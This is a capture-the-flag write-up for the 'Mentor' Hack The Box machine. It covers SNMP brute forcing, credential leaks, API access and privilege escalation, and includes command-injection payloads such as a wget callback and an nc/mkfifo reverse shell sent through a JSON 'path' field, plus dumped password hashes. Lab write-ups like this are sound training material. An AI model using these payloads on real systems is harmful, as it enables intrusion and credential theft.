Mentor

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.228.102
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-08 10:29 EDT
Nmap scan report for 10.129.228.102
Host is up (0.0061s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

We have to add mentorquotes.htb to the /etc/hosts file to access port 80.

Mentor Quotes API

The website has daily motivational quotes posted:

Doing a subdomain enumeration reveals an api subdomain:

$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H 'Host:FUZZ.mentorquotes.htb' --hw=26 -u http://mentorquotes.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://mentorquotes.htb/
Total requests: 100000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                     
=====================================================================

000000040:   404        0 L      2 W        22 Ch       "api"

When visited, it reveals nothing:

$ curl http://api.mentorquotes.htb                      
{"detail":"Not Found"}

Doing a feroxbuster scan reveals a LOT of endpoints present:

$ feroxbuster -u http://api.mentorquotes.htb 
307      GET        0l        0w        0c http://api.mentorquotes.htb/admin => http://api.mentorquotes.htb/admin/
200      GET       31l       62w      969c http://api.mentorquotes.htb/docs
307      GET        0l        0w        0c http://api.mentorquotes.htb/users => http://api.mentorquotes.htb/users/
405      GET        1l        3w       31c http://api.mentorquotes.htb/admin/backup
<TRUNCATED>

These are some interesting endpoints, and I think viewing the Documentation is the most important.

This is a token-based API, so when we register a new user, it would return a JWT token to us. We either have to spoof the token to become the administrator to read sensitive information, OR we have to find an injection point for RCE.

One thing to take note of was the Send email to James link, which would send an email to james@mentorquotes.htb, and it is implied he owns the website (and is probably the administrator of this API).

Anyways we can create a user and login to retrieve our token:

$ curl -X POST http://api.mentorquotes.htb/auth/signup -H 'Content-Type: application/json' -d '{"email":"fakeuser@mentorquotes.htb", "username":"fakeuser","password":"password"}'
{"id":4,"email":"fakeuser@mentorquotes.htb","username":"fakeuser"}

$ curl -X POST http://api.mentorquotes.htb/auth/login -H 'Content-Type: application/json' -d '{"email":"fakeuser@mentorquotes.htb", "username":"fakeuser","password":"password"}'
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImZha2V1c2VyIiwiZW1haWwiOiJmYWtldXNlckBtZW50b3JxdW90ZXMuaHRiIn0.Y2pu-kYdv7R_UoO3_myPMvdL_WryFt4hjgC0KMxtV5A"

Then, to access other parts of the API, we need to use this token as part of the Authorization HTTP Header. However, we aren't allowed to do so:

$ curl -X POST http://api.mentorquotes.htb/users/ -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImZha2V1c2VyIiwiZW1haWwiOiJmYWtldXNlckBtZW50b3JxdW90ZXMuaHRiIn0.Y2pu-kYdv7R_UoO3_myPMvdL_WryFt4hjgC0KMxtV5A' 
{"detail":"Method Not Allowed"}

Now we already know that the user email is james@mentorquotes.htb, so let's try to register a user with the same email or the same username:

$ curl -X POST http://api.mentorquotes.htb/auth/signup -H 'Content-Type: application/json' -d '{"email":"james@mentorquotes.htb", "username":"fakeuser","password":"password"}'
{"id":5,"email":"james@mentorquotes.htb","username":"fakeuser"}   
   
$ curl -X POST http://api.mentorquotes.htb/auth/login -H 'Content-Type: application/json' -d '{"email":"james@mentorquotes.htb", "username":"fakeuser","password":"password"}'
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImZha2V1c2VyIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.oTmip8hJDYfAQ6g6B_8DapuhV9gy2jo1RzY9GDNLXns"                                                                   

$ curl -X POST http://api.mentorquotes.htb/auth/signup -H 'Content-Type: application/json' -d '{"email":"testuser@mentorquotes.htb", "username":"james","password":"password"}'
{"id":6,"email":"testuser@mentorquotes.htb","username":"james"}

$ curl -X POST http://api.mentorquotes.htb/auth/login -H 'Content-Type: application/json' -d '{"email":"testuser@mentorquotes.htb", "username":"james","password":"password"}'
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJ0ZXN0dXNlckBtZW50b3JxdW90ZXMuaHRiIn0.3TVUdA6FaHNPUnclViOgFk1Q2FlG-NaLNPFPuoxGa2A"

Surprisingly, both work. However, this would lead to nowhere as I still cannot access the API using any of these tokens.

I found out later that this method was unintended, and it did work for a while before being patched.

SNMP Brute -> James PW

I was a bit stuck here, so I referred to a writeup. Turns out, SNMP is open on this machine.

$ sudo nmap --min-rate 5000 -sU 10.129.228.102     
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-08 10:48 EDT
Nmap scan report for mentorquotes.htb (10.129.228.102)
Host is up (0.0090s latency).
Not shown: 993 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
161/udp   open   snmp

The default community string public did return some information, but it was very limited. There should be another community string present, and we had to brute force it.

We can run snmpbrute.py to find the possible community strings:

 $ /usr/share/legion/scripts/snmpbrute.py -t 10.129.228.102
     _____ _   ____  _______     ____             __     
  / ___// | / /  |/  / __ \   / __ )_______  __/ /____ 
  \__ \/  |/ / /|_/ / /_/ /  / __  / ___/ / / / __/ _ \
 ___/ / /|  / /  / / ____/  / /_/ / /  / /_/ / /_/  __/
/____/_/ |_/_/  /_/_/      /_____/_/   \__,_/\__/\___/ 

SNMP Bruteforce & Enumeration Script v2.0
http://www.secforce.com / nikos.vassakis <at> secforce.com
###############################################################

Trying ['', '0', '0392a0', '1234', '2read', '3com', '3Com', '3COM', '4changes', 'access', 'adm', 'admin', 'Admin', 'administrator', 'agent', 'agent_steal', 'all', 'all private', 'all public', 'anycom', 'ANYCOM', 'apc', 'bintec', 'blue', 'boss', 'c', 'C0de', 'cable-d', 'cable_docsispublic@es0', 'cacti', 'canon_admin', 'cascade', 'cc', 'changeme', 'cisco', 'CISCO', 'cmaker', 'comcomcom', 'community', 'core', 'CR52401', 'crest', 'debug', 'default', 'demo', 'dilbert', 'enable', 'entry', 'field', 'field-service', 'freekevin', 'friend', 'fubar', 'guest', 'hello', 'hideit', 'host', 'hp_admin', 'ibm', 'IBM', 'ilmi', 'ILMI', 'intel', 'Intel', 'intermec', 'Intermec', 'internal', 'internet', 'ios', 'isdn', 'l2', 'l3', 'lan', 'liteon', 'login', 'logon', 'lucenttech', 'lucenttech1', 'lucenttech2', 'manager', 'master', 'microsoft', 'mngr', 'mngt', 'monitor', 'mrtg', 'nagios', 'net', 'netman', 'network', 'nobody', 'NoGaH$@!', 'none', 'notsopublic', 'nt', 'ntopia', 'openview', 'operator', 'OrigEquipMfr', 'ourCommStr', 'pass', 'passcode', 'password', 'PASSWORD', 'pr1v4t3', 'pr1vat3', 'private', ' private', 'private ', 'Private', 'PRIVATE', 'private@es0', 'Private@es0', 'private@es1', 'Private@es1', 'proxy', 'publ1c', 'public', ' public', 'public ', 'Public', 'PUBLIC', 'public@es0', 'public@es1', 'public/RO', 'read', 'read-only', 'readwrite', 'read-write', 'red', 'regional', '<removed>', 'rmon', 'rmon_admin', 'ro', 'root', 'router', 'rw', 'rwa', 'sanfran', 'san-fran', 'scotty', 'secret', 'Secret', 'SECRET', 'Secret C0de', 'security', 'Security', 'SECURITY', 'seri', 'server', 'snmp', 'SNMP', 'snmpd', 'snmptrap', 'snmp-Trap', 'SNMP_trap', 'SNMPv1/v2c', 'SNMPv2c', 'solaris', 'solarwinds', 'sun', 'SUN', 'superuser', 'supervisor', 'support', 'switch', 'Switch', 'SWITCH', 'sysadm', 'sysop', 'Sysop', 'system', 'System', 'SYSTEM', 'tech', 'telnet', 'TENmanUFactOryPOWER', 'test', 'TEST', 'test2', 'tiv0li', 'tivoli', 'topsecret', 'traffic', 'trap', 'user', 'vterm1', 'watch', 'watchit', 'windows', 'windowsnt', 'workstation', 'world', 'write', 'writeit', 'xyzzy', 'yellow', 'ILMI'] community strings ...
10.129.228.102 : 161      Version (v2c):  internal
10.129.228.102 : 161      Version (v1):   public
10.129.228.102 : 161      Version (v2c):  public
10.129.228.102 : 161      Version (v1):   public
10.129.228.102 : 161      Version (v2c):  public
Waiting for late packets (CTRL+C to stop)

So internal is another string. When used on snmpwalk, there is a ton of output. snmpbulkwalk is a better tools because it uses threading to get the information and is faster.

$ snmpbulkwalk -v2c -c internal 10.129.228.102             
iso.3.6.1.2.1.1.1.0 = STRING: "Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (175048) 0:29:10.48
iso.3.6.1.2.1.1.4.0 = STRING: "Me <admin@mentorquotes.htb>"
iso.3.6.1.2.1.1.5.0 = STRING: "mentor"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
<TRUNCATED>
iso.3.6.1.2.1.25.4.2.1.5.2090 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"
<TRUNCATED>

Within the output, there's a password, and we can verify that this is for james on the API.

$ curl -X POST http://api.mentorquotes.htb/auth/login -H 'Content-Type: application/json' -d '{"email":"james@mentorquotes.htb", "username":"james","password":"kj23sadkj123as0-d213"}'
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0"

Command Injection

We can finally enumerate the API properly with this token:

$ curl -X GET http://api.mentorquotes.htb/users/ -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' | jq
[
  {
    "id": 1,
    "email": "james@mentorquotes.htb",
    "username": "james"
  },
  {
    "id": 2,
    "email": "svc@mentorquotes.htb",
    "username": "service_acc"
  },
  {
    "id": 4,
    "email": "fakeuser@mentorquotes.htb",
    "username": "fakeuser"
  },
  {
    "id": 5,
    "email": "james@mentorquotes.htb",
    "username": "fakeuser"
  },
  {
    "id": 6,
    "email": "testuser@mentorquotes.htb",
    "username": "james"
  },
  {
    "id": 7,
    "email": "newjames@mentorquotes.htb",
    "username": "james"
  }
]

Earlier, we found an /admin/backup endpoint, so let's use that.

$ curl -X GET http://api.mentorquotes.htb/admin/ -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' | jq

{
  "admin_funcs": {
    "check db connection": "/check",
    "backup the application": "/backup"
  }
}

$ curl -X POST http://api.mentorquotes.htb/admin/backup -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' | jq

{
  "detail": [
    {
      "loc": [
        "body"
      ],
      "msg": "field required",
      "type": "value_error.missing"
    }
  ]
}

$ curl -X GET http://api.mentorquotes.htb/admin/backup -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' | jq

{
  "detail": "Method Not Allowed"
}

It appears that the /backup one requires a JSON input. If an empty object is supplied, it complains and asks for a path variable.

$ curl -X POST http://api.mentorquotes.htb/admin/backup -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' -H 'Content-Type: application/json' -d '{"path":"/etc/passwd"}' | jq

{
  "INFO": "Done!"
}

I don't really know what they are doing in the backend, but we can try some command injection point just in case.

$ curl -X POST http://api.mentorquotes.htb/admin/backup -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' -H 'Content-Type: application/json' -d '{"path":"/etc/passwd; wget 10.10.14.13/rcecfm"}' | jq

{
  "INFO": "Done!"
}
// in another shell
┌──(kali㉿kali)-[~/htb/mentor]
└─$ python3 -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.228.102 - - [08/May/2023 11:01:18] code 404, message File not found
10.129.228.102 - - [08/May/2023 11:01:18] "GET /rcecfm/app_backkup.tar HTTP/1.1" 404

This was using tar on something, but more importantly our RCE worked. We can easily get a reverse shell using this after specifying some random body parameter:

POST /admin/backup HTTP/1.1
Host: api.mentorquotes.htb
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 112

{
"body":"test",
"path": "test;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.13 443 >/tmp/f;"
}

There's no /bin/bash within this machine.

Privilege Escalation

Database Creds -> SSH

We can find a config.py file within /app/app.

/app/app # cat db.py 
import os

from sqlalchemy import (Column, DateTime, Integer, String, Table, create_engine, MetaData)
from sqlalchemy.sql import func
from databases import Database

# Database url if none is passed the default one is used
DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")
<TRUNCATED>

It appears there's a database present on this machine, we probably have to use chisel to tunnel to it.

# on kali
chisel server -p 5555 --reverse
# on machine
./chisel client 10.10.14.13:5555 R:5432:172.22.0.1:5432

Afterwards, we can access the database:

We can view the databases present:

      Name       |  Owner   | Encoding |  Collate   |   Ctype    | ICU Locale | Locale Provider |   Access privileges   
-----------------+----------+----------+------------+------------+------------+-----------------+-----------------------
 mentorquotes_db | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | 
 postgres        | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | 
 template0       | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | =c/postgres          +
                 |          |          |            |            |            |                 | postgres=CTc/postgres
 template1       | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | =c/postgres          +
                 |          |          |            |            |            |                 | postgres=CTc/postgres

We can use \connect mentorquotes_htb to use that database, and then view the tables within it. Then we can enumerate the tables and select everything:

mentorquotes_db-# \dt
          List of relations
 Schema |   Name   | Type  |  Owner   
--------+----------+-------+----------
 public | cmd_exec | table | postgres
 public | quotes   | table | postgres
 public | users    | table | postgres
(3 rows)

mentorquotes_db=# select * from users;
 id |           email           |  username   |             password             
----+---------------------------+-------------+----------------------------------
  1 | james@mentorquotes.htb    | james       | 7ccdcd8c05b59add9c198d492b36a503
  2 | svc@mentorquotes.htb      | service_acc | 53f22d0dfa10dce7e29cd31f4f953fd8
  4 | fakeuser@mentorquotes.htb | fakeuser    | 5f4dcc3b5aa765d61d8327deb882cf99
  5 | james@mentorquotes.htb    | fakeuser    | 5f4dcc3b5aa765d61d8327deb882cf99
  6 | testuser@mentorquotes.htb | james       | 5f4dcc3b5aa765d61d8327deb882cf99
  7 | newjames@mentorquotes.htb | james       | 5f4dcc3b5aa765d61d8327deb882cf99

The hash for svc is crackable.

Then we can SSH in as svc and grab the user flag:

Sudo /bin/sh

james is present as a user, and our current user has no privileges or anything.

svc@mentor:/home$ ls
james  svc

When the snmpd.conf file is viewed, we can find a password:

svc@mentor:/etc/snmp$ tail -n 10 snmpd.conf

createUser bootstrap MD5 SuperSecurePassword123__ DES
rouser bootstrap priv

com2sec AllUser default internal
group AllGroup v2c AllUser
#view SystemView included .1.3.6.1.2.1.1
view SystemView included .1.3.6.1.2.1.25.1.1
view AllView included .1
access AllGroup "" any noauth exact AllView none non

We can then su to james using this and check our sudo privileges, finding that getting a root shell is easy:

Last updated